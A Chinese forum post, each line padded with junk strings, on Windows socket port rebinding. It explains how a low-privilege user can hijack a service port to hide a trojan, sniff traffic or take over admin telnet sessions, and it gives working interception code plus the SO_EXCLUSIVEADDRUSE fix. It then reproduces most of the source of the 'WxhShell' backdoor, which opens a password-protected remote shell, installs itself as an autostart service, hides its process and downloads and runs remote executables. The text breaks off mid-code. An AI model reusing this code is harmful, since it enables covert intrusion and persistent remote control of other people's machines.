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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w %sHA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $5)ZaYx<  
MHVHEwr.{  
  saddr.sin_family = AF_INET; ` d[ja,  
J3B]JttU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aD,(mw-7r  
$'2yPoR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -K K)}I`  
:b_R1ZV|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _jW}p-j  
ua]>0\D  
  这意味着什么?意味着可以进行如下的攻击: 6mi: %)"  
IT u6m<V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _XqD3?yH4  
@Gj|X>0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g0!{CW  
8[|RsM   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q'~2,%3<  
$0MP*TFWa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .D`""up|{  
KF"&9nB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k-b0Eogp]  
Nuw_,-h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 buRK\C  
"c6(=FFq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y:N QLL>  
t6u01r{~`  
  #include 5Y\wXqlY  
  #include ]oN:MS4r  
  #include av&4:O!  
  #include    _O-ZII~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NiwJ$Ah~X  
  int main() vElVw. P  
  { ^uu)|  
  WORD wVersionRequested; P-?ya!@"  
  DWORD ret; 4$+9Wv  
  WSADATA wsaData; Vn`-w  
  BOOL val; j zaC  
  SOCKADDR_IN saddr; ?=%Q$|]-  
  SOCKADDR_IN scaddr; `2X#;{a:  
  int err; s.E}xv  
  SOCKET s; Khbkv  
  SOCKET sc; k:Iz>3O3]  
  int caddsize; n_Ht{2I  
  HANDLE mt;  p=Nord  
  DWORD tid;   i9.~cnk  
  wVersionRequested = MAKEWORD( 2, 2 ); ,1"w2,=  
  err = WSAStartup( wVersionRequested, &wsaData ); cC_L4  
  if ( err != 0 ) { ?G[<~J3-E  
  printf("error!WSAStartup failed!\n"); HCh;Xi  
  return -1; = dyApR:'  
  } 0ivlKe%  
  saddr.sin_family = AF_INET; xhAORhw#  
   m]yt6b4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :GU6v4u  
Fg3VD(D^U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AHq;6cG  
  saddr.sin_port = htons(23); P< +5So0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D{&0r.2F  
  { '1lr "}"Q+  
  printf("error!socket failed!\n"); Jl^Rz;bQ-  
  return -1; }E5oa\ 1u  
  } ,"PKGd]^  
  val = TRUE; "5]Fl8c?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g0m6D:f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]&za^%q0&  
  { yv:8=.r}M  
  printf("error!setsockopt failed!\n"); 78v4c Q Y  
  return -1; _c=[P@  
  } lMu}|d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \bze-|C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 03ol!|X "9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lP>}9^7I!  
I$K?,   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (3YI>/#  
  { }QszOi\fV1  
  ret=GetLastError(); )$#]h]ac  
  printf("error!bind failed!\n"); \#P>k;D  
  return -1; ;$|[z<1RdW  
  } `C~RA, M  
  listen(s,2); tZS-e6*S  
  while(1) HS{a^c%  
  { E,I*E{nd9  
  caddsize = sizeof(scaddr); ~$1Zw&X  
  //接受连接请求 `6KTQk'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B+G,v:)R6z  
  if(sc!=INVALID_SOCKET)  (f DA  
  { vEJ2d&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mX78Av.z!  
  if(mt==NULL) ,wJ#0?  
  { 74VN3m  
  printf("Thread Creat Failed!\n"); \\80c65-  
  break; /"A)}>a  
  }  8+no>%L  
  } B3V:?#  
  CloseHandle(mt); =%, ;=4w  
  } ~]HeoQK  
  closesocket(s); hLyD#XCFA  
  WSACleanup(); t.sbfLu  
  return 0; dmHpF\P5f  
  }   tGGv 2TCEy  
  DWORD WINAPI ClientThread(LPVOID lpParam) k!e \O>+  
  { 90)0\i+P  
  SOCKET ss = (SOCKET)lpParam; &61;v@  
  SOCKET sc; }."3&u't  
  unsigned char buf[4096]; Ue:'55  
  SOCKADDR_IN saddr; shbPy   
  long num; )i&z!|/2  
  DWORD val; Ha l,%W~e  
  DWORD ret; x`@!hJc:[e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~~[Sz#(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I@VhxJh  
  saddr.sin_family = AF_INET; 0-H!\IB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7cx~?xk <m  
  saddr.sin_port = htons(23); NET?Ep  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 70p1&Y7or  
  { rzJNHf=FVY  
  printf("error!socket failed!\n"); k0IW,z%  
  return -1; %} WSw~X  
  } BZy&;P  
  val = 100; `}:q@: %  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5~T`R~Uqb  
  { J&4QI( b.  
  ret = GetLastError(); 70,V>=aJ  
  return -1; {6%vmMbJ  
  } y,&UST  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J(*q OGBD  
  { 5urM,1SQ@  
  ret = GetLastError(); Js7(TFQE  
  return -1; h8;B+#f`  
  } Q3MG+@)S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5b X*8H D  
  { q[4{Xh  
  printf("error!socket connect failed!\n"); NNZ%jJy?=,  
  closesocket(sc); s BP.P7u  
  closesocket(ss); y6.}h9~  
  return -1; j .Ro(0%  
  } UpL1C~&  
  while(1) 85; BS'  
  { x2p}0N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `ER">@&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DDkH`R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m&/{iCwp  
  num = recv(ss,buf,4096,0); {~.~ b+v  
  if(num>0) 8 wGq:@# =  
  send(sc,buf,num,0); X|+o4R?  
  else if(num==0) mdxa^#w  
  break; K_/8MLJQ  
  num = recv(sc,buf,4096,0); rU?sUm,ch  
  if(num>0) ylm*a74-X  
  send(ss,buf,num,0); D=}UKd  
  else if(num==0) 3xS+Pu\)  
  break; n_;qB7,,  
  } eliT<sw8  
  closesocket(ss); q$)$?"  
  closesocket(sc); f,:SI&c\  
  return 0 ; ~hi\*W6jg  
  } ~(E.$y7P  
_ndc^OG  
,ra!O=d~0  
========================================================== U ObI&*2  
? b;_T,S[  
下边附上一个代码,,WXhSHELL 2NS(;tBB0  
qEvHrsw},  
========================================================== Yud]s~N  
.!uXhF'  
#include "stdafx.h" -2NXQ+m ;  
C9^[A4O@X!  
#include <stdio.h> nulCk33x'=  
#include <string.h> "YU<CO;4VV  
#include <windows.h> H&K(,4u^  
#include <winsock2.h> H#pl&/+  
#include <winsvc.h> +"8 [E~Bih  
#include <urlmon.h> USgZ%xk2  
j`JY3RDD  
#pragma comment (lib, "Ws2_32.lib") u{#}Lo>B #  
#pragma comment (lib, "urlmon.lib") BJGL &N  
YyOPgF] M  
#define MAX_USER   100 // 最大客户端连接数 *v1M^grKd  
#define BUF_SOCK   200 // sock buffer wf47Ulx  
#define KEY_BUFF   255 // 输入 buffer YbaaX{7^  
gDHgXD D_b  
#define REBOOT     0   // 重启 eqvbDva^  
#define SHUTDOWN   1   // 关机 WZz8VF  
USF9sF0l  
#define DEF_PORT   5000 // 监听端口 Z(Styn/x  
~s.~X5  
#define REG_LEN     16   // 注册表键长度 )xJCH9h  
#define SVC_LEN     80   // NT服务名长度 XY1D<  
1'.SHY|  
// 从dll定义API +tsF.Is!t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9a\H+Y~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !,D7L6N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O~3<P3W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7Mx F? I  
?`9XFE~a!  
// wxhshell配置信息 [bE-Uu7q5P  
struct WSCFG { [k1N-';;;  
  int ws_port;         // 监听端口 .3xpDVW^e  
  char ws_passstr[REG_LEN]; // 口令 3y&N}'R(F  
  int ws_autoins;       // 安装标记, 1=yes 0=no @9,=|kxK  
  char ws_regname[REG_LEN]; // 注册表键名 'G] P09`*)  
  char ws_svcname[REG_LEN]; // 服务名 ;/ wl.'GA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OS$}ej\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \X3Q,\H @  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z{wW6sgPr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9jwcO)p^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G =`-w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n6AN  
eBlWwUy*6f  
}; |3LD"!rEx  
2@TgeV0Y[  
// default Wxhshell configuration DIsK+1  
struct WSCFG wscfg={DEF_PORT, Q#kSp8  
    "xuhuanlingzhe", EC9bCd-z  
    1, pm2-F]  
    "Wxhshell", >(EC.ke  
    "Wxhshell", -|z ]Ir  
            "WxhShell Service", Ux[2 +Cf  
    "Wrsky Windows CmdShell Service", e0s*  
    "Please Input Your Password: ", /Pbytu);ds  
  1,  3o_)x  
  "http://www.wrsky.com/wxhshell.exe", % w\   
  "Wxhshell.exe" ppm =o4`s[  
    }; Fb2,2Px  
`i!BXOOV{  
// 消息定义模块 _h6j, )  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I45 kPfu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eeVDU$*e=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UWW^g@d4  
char *msg_ws_ext="\n\rExit."; N_:H kI6  
char *msg_ws_end="\n\rQuit."; ]!c59%f=  
char *msg_ws_boot="\n\rReboot..."; }4uHT.)  
char *msg_ws_poff="\n\rShutdown..."; a/\SPXQ/9  
char *msg_ws_down="\n\rSave to "; %fT%,( w}t  
2Kkm-#p7  
char *msg_ws_err="\n\rErr!"; -/V,<@@T  
char *msg_ws_ok="\n\rOK!"; -(dtAo6  
._E 6?  
char ExeFile[MAX_PATH]; (HEi;  
int nUser = 0; >^=;b5I2K  
HANDLE handles[MAX_USER]; 40e(p/Qka  
int OsIsNt; k~0#Iy_{M  
8t;vZ&  
SERVICE_STATUS       serviceStatus; !"g2F}n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $+k|\+iJ  
B_uhNLd  
// 函数声明 &%UZ"CcA  
int Install(void); {xD\w^  
int Uninstall(void); 3 <A?  
int DownloadFile(char *sURL, SOCKET wsh); a1>Tz  
int Boot(int flag); !.G knDT  
void HideProc(void); }6'%p Bd  
int GetOsVer(void); dfA2G<Uc  
int Wxhshell(SOCKET wsl); rNK<p3=7)  
void TalkWithClient(void *cs); n2(`O^yd7C  
int CmdShell(SOCKET sock); KqL+R$??"(  
int StartFromService(void);  erQQ_  
int StartWxhshell(LPSTR lpCmdLine); bhl9:`s  
"X(9.6$_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {'-^CoR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MpVZL29)  
WK.K-bd  
// 数据结构和表定义 { v  [  
SERVICE_TABLE_ENTRY DispatchTable[] = 1`sTGNo  
{ HdR TdV  
{wscfg.ws_svcname, NTServiceMain}, zNO,vR[\  
{NULL, NULL} xrZzfg  
}; /u&7!>,  
h3[x ZJO  
// 自我安装 Kr'Yz!  
int Install(void) KY%LqcC  
{ [w*]\x'S  
  char svExeFile[MAX_PATH]; IkuE|  
  HKEY key; ei82pLM z  
  strcpy(svExeFile,ExeFile); OJ1MV7&  
Eb7GiRT#  
// 如果是win9x系统,修改注册表设为自启动 ~_F<"40  
if(!OsIsNt) { vd [?73:C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _]zH4o<p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  K,o&gY  
  RegCloseKey(key); Zg4kO;r08  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )*L=$0R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %,+&Kl I  
  RegCloseKey(key); Ck:+F+7_v  
  return 0; tH(g;flO)  
    } z?t75#u9.  
  } 4$y P_3  
} /?1^&a  
else { n#5S-z1KNw  
-Rwx`=6tV  
// 如果是NT以上系统,安装为系统服务 Db*&'32W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $=5kn>[_Z%  
if (schSCManager!=0) tZY6{,K%4  
{ G+t=+T2m  
  SC_HANDLE schService = CreateService &bigLe  
  ( E5IS<.  
  schSCManager, PDS?>Jg(  
  wscfg.ws_svcname, KJv[z   
  wscfg.ws_svcdisp, B2Kh~Xd  
  SERVICE_ALL_ACCESS, O Cn  ra  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `<6FCn4{X  
  SERVICE_AUTO_START, G8.nKoHv7x  
  SERVICE_ERROR_NORMAL, +`ug?`_  
  svExeFile, A: O"N  
  NULL, BZ,{gy7g7X  
  NULL, j XYr&F  
  NULL, AYAbq}'Yt  
  NULL, GHO6$iM)[  
  NULL V0G[f}tm'  
  ); z<_a4 ffR  
  if (schService!=0) ]QQeUxi  
  { 89m9iJ=  
  CloseServiceHandle(schService); VNs3.  
  CloseServiceHandle(schSCManager); abp\Ih^b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S4pEBbV^n  
  strcat(svExeFile,wscfg.ws_svcname); Q)=2%X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >[ g=G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BZ(DP_}&D  
  RegCloseKey(key); pq:[`   
  return 0; rN,T}M= 2  
    } Bh&dV%'  
  } +~sqv?8  
  CloseServiceHandle(schSCManager); Yq'D-$@  
} v SY YetL  
} R\-]$\1D  
V{ fG~19  
return 1; 6Fc*&7Z+  
} 6`X}Z'4.Ox  
!;K zR&  
// 自我卸载 f@k.4aS  
int Uninstall(void) &UNQ4-s  
{ yY]E~  
  HKEY key; }D-jTZlC  
=ui3I_*)  
if(!OsIsNt) { <`?%Cz AO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F:~@e(  
  RegDeleteValue(key,wscfg.ws_regname); vpC?JXz=H  
  RegCloseKey(key); FV{XPr%   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /&9R*xNST#  
  RegDeleteValue(key,wscfg.ws_regname); R:rols"QM  
  RegCloseKey(key); yb>R(y  
  return 0; ErgWsAw-  
  } Er - rm  
} 1vS-m x  
} //RD$e?h~  
else { W0}FOfL9  
c|K:oi,z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S~R[*Gk_uT  
if (schSCManager!=0) E^0a; |B[  
{ w"W;PdH)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?<S fhjU  
  if (schService!=0) IVVX3RI  
  { :i|]iXEI"  
  if(DeleteService(schService)!=0) { :, 3S5!(y  
  CloseServiceHandle(schService); yivWT;`  
  CloseServiceHandle(schSCManager); `xZ,*G7(*  
  return 0; a!f71k r  
  } 2.\"Q  
  CloseServiceHandle(schService); bcT'!:  
  } D;*cy<_K8  
  CloseServiceHandle(schSCManager); ML0_Uc3en  
} KzJJ@D*4M]  
} }0f~hL24  
G(ZEP.h`u  
return 1; ddbQFAQQQ  
} $sUn'62JlU  
Vol}wc  
// 从指定url下载文件 ;/kmV~KG  
int DownloadFile(char *sURL, SOCKET wsh) "rfBYl`  
{ 5X9Lh_p  
  HRESULT hr; OmK4 \_.  
char seps[]= "/"; )."dqq^ q  
char *token; \(&&ed:  
char *file; n&a\mGF  
char myURL[MAX_PATH]; ]h=5d09z  
char myFILE[MAX_PATH]; /8Z&Y`G  
&0H_W xKeB  
strcpy(myURL,sURL); S]Di1E^r;_  
  token=strtok(myURL,seps); S <-5<Pg  
  while(token!=NULL) ZE= Yn~XM  
  { Rg+# (y  
    file=token; C7f*Q[  
  token=strtok(NULL,seps); $RunGaX!=N  
  } k+J63+obd  
j ,lI\vw<  
GetCurrentDirectory(MAX_PATH,myFILE); 8EX?/33$  
strcat(myFILE, "\\"); lL 50PU  
strcat(myFILE, file); )jt?X}  
  send(wsh,myFILE,strlen(myFILE),0); B =7maYeU  
send(wsh,"...",3,0); FvO,* r9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jw 5 U-zi  
  if(hr==S_OK) ^~6gkS }  
return 0; mahNQ5W*)  
else p L^3*B.Nr  
return 1; wp5H|ctl  
ZLdIEBi=  
} t* p%!xsH  
#K/JU{"  
// 系统电源模块 pf+VYZ#)  
int Boot(int flag) Q1x15pVku/  
{ 7+IRI|d  
  HANDLE hToken; OVc)PMp  
  TOKEN_PRIVILEGES tkp; <G`1(,g  
*OIBMx#qxn  
  if(OsIsNt) { +_u~Np  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *"4l}&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '#e T  
    tkp.PrivilegeCount = 1; [tElt4uG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s&<76kwl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y>ATL  
if(flag==REBOOT) { td23Z1Elk#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >,I'S2_Zl  
  return 0; m~fDDQs  
} +Z86Qz_  
else { #};Zgixo$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8V9OMOt!  
  return 0; yy&L&v'  
} <[K)PI  
  } 6l &!4r@}  
  else { zK{}   
if(flag==REBOOT) { [9:";JSl"Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]VE3u_kR  
  return 0; (/!@ -]1  
} Q<ia  
else { }UQ,B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @Y>PtA&w*  
  return 0; 1<MJ3"60  
} 7Cbr'!E\_V  
} t)g %9 k^  
V0&7MY*  
return 1; Kv<mDA!  
} C>mFylN  
YnW9uy5  
// win9x进程隐藏模块 Ro<x#Uo  
void HideProc(void) HDKY7Yr  
{ %}Y&qT?  
{;zHkmx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ggst s  
  if ( hKernel != NULL ) |$ZS26aYw}  
  { D%c^j9' 1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0Zo><=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +aPe)U<t  
    FreeLibrary(hKernel); &0:Gj3`  
  } D/%v/mpj$  
* LWihal  
return; 4mEJu  
} pv&iJ7RN  
!M9mX%UQ  
// 获取操作系统版本 ! r/~D |  
int GetOsVer(void) e^\#DDm  
{ pS7y3(_  
  OSVERSIONINFO winfo; Kxeq Q@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8x7TK2r  
  GetVersionEx(&winfo); #N64ZXz_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '&K' 0qG  
  return 1; C=U4z|Ym  
  else WX_g  
  return 0; #UI`+2w  
} nA.U'=`  
=?wDQ:  
// 客户端句柄模块 .pm%qEh  
int Wxhshell(SOCKET wsl) j]5e$e{  
{ EM +! ph  
  SOCKET wsh; hb/Z{T'   
  struct sockaddr_in client; {TMng&  
  DWORD myID; 9L4;#cy  
tx`^'%GMA  
  while(nUser<MAX_USER) GkU$Z @  
{ *-q &~  
  int nSize=sizeof(client); _ D8 zKp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D+jvF  
  if(wsh==INVALID_SOCKET) return 1; Sz')1<  
'.S02=/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T('rM :)/  
if(handles[nUser]==0) f(!cz,y^\*  
  closesocket(wsh); OPqhdqo  
else BC1smSlJ  
  nUser++; Q`Pe4CrWvu  
  } vQnhb %  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1<lf o^B  
3!QXzT$E  
  return 0; V2@( BliP  
} UCFFF%  
o: > (Tv  
// 关闭 socket }S13]Kk?=  
void CloseIt(SOCKET wsh)  :fy,%su  
{ 8. +f@wv  
closesocket(wsh); X(DP=C}v9  
nUser--; c5O8,sT  
ExitThread(0); X9^q-3&60  
} (R RRG;*n#  
j/E(*Hv  
// 客户端请求句柄 pjSM7PhQ  
void TalkWithClient(void *cs) qxZf!NX5  
{ rfSEL 57'  
55y{9.n*  
  SOCKET wsh=(SOCKET)cs; a8k`Wog  
  char pwd[SVC_LEN]; BZXee>3"  
  char cmd[KEY_BUFF]; ;>X;cZMd  
char chr[1]; [=Nv=d<[p  
int i,j; I {%( G(  
19oyoi"  
  while (nUser < MAX_USER) { 0XyPG  
$!z.[GL  
if(wscfg.ws_passstr) { JV/:QV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4wa3$Pk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cyg(~7]  
  //ZeroMemory(pwd,KEY_BUFF); ?"?AH/ED  
      i=0; ^d(gC%+!u  
  while(i<SVC_LEN) { 2t{Tz}g*  
XZ(<Mo\v  
  // 设置超时 MBQ|*}+;  
  fd_set FdRead; X"HVK+  
  struct timeval TimeOut; (gcy3BX;  
  FD_ZERO(&FdRead); j*1MnP3/8Y  
  FD_SET(wsh,&FdRead); kKC] n   
  TimeOut.tv_sec=8; -ni@+Dy  
  TimeOut.tv_usec=0; 7v.O Lp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F^}d>2W(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W3%RB[s-  
X>]<rEh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7s}F`fjKP  
  pwd=chr[0]; [w+1<ou;j  
  if(chr[0]==0xd || chr[0]==0xa) { KXWz(L!1  
  pwd=0; {)Wa"|+  
  break; ?D_}',Wx  
  } "`Xbi/i  
  i++; F2)KAIl  
    } cnG>EG  
##1/{9ywy  
  // 如果是非法用户,关闭 socket bIV9cpW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KWi|7z(L=  
} 9}q)AL-ga  
9p4SxMMO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AF{@lDa1h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <si cldz  
+p]@b  
while(1) { #TeAw<2U  
: ' pK  
  ZeroMemory(cmd,KEY_BUFF); t+0/$  
rvb@4-i>iI  
      // 自动支持客户端 telnet标准   2mO9  
  j=0; swLNNA.  
  while(j<KEY_BUFF) { iqsR]mab  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t0^)Q$  
  cmd[j]=chr[0]; a%/x  
  if(chr[0]==0xa || chr[0]==0xd) { FEV Ya#S  
  cmd[j]=0; VArMFP)cz  
  break; I}]UQ4XJ  
  } `bd9N !K  
  j++; /c7jL4oD  
    } 7sVO?:bj}  
$?pfst~;O  
  // 下载文件 N[yS heT  
  if(strstr(cmd,"http://")) { $:vS_#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8>X]wA6q  
  if(DownloadFile(cmd,wsh)) aHNn!9#1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OY!WEP$F-C  
  else T[J8zL O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,V;HM F.  
  } I.%EYAai  
  else { u|Ng>lU  
}|znQ3A2\l  
    switch(cmd[0]) { 5 <7sVd.  
  OgCNq W d-  
  // 帮助 > V >GiSni  
  case '?': { ]BmnE#n&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w+XwPpM0.n  
    break; +9# qNkP  
  } 5tY/d=\k  
  // 安装 RXO5p d  
  case 'i': { 7DeBeY  
    if(Install()) LvL2[xh%&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ')(U<5y)  
    else o9OCgP`Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M{YN^ Kk  
    break; Xp fw2;`U'  
    } ^Qxv5HS2  
  // 卸载 ++=jh6  
  case 'r': { FY/F}C,o  
    if(Uninstall()) 0XA0 b1VX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &=wvlI52`  
    else qGP}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =pnQ?2Og  
    break; 9N6 \Ou~  
    } 7{NH;U t  
  // 显示 wxhshell 所在路径 SES-a Mi3  
  case 'p': { g)IW9q2  
    char svExeFile[MAX_PATH]; $1k@O@F(4  
    strcpy(svExeFile,"\n\r"); [Y^h)k{-$  
      strcat(svExeFile,ExeFile); Qp>Z&LvC5  
        send(wsh,svExeFile,strlen(svExeFile),0); .k|\xR  
    break; *thm)Mn  
    } ?0lz!Nq'S  
  // 重启 Nc?'},  
  case 'b': { X-psao0tI`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @H}Hjg_>m  
    if(Boot(REBOOT)) D4~]:@v~n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *dsI>4%m  
    else { Epm8S}6K  
    closesocket(wsh);  EIPXq  
    ExitThread(0); ;f)AM}~^Q  
    } X<g }F[Y  
    break; as[! 9tB]  
    } \=o0MR  
  // 关机 'UC1!Z  
  case 'd': { (]zi;  
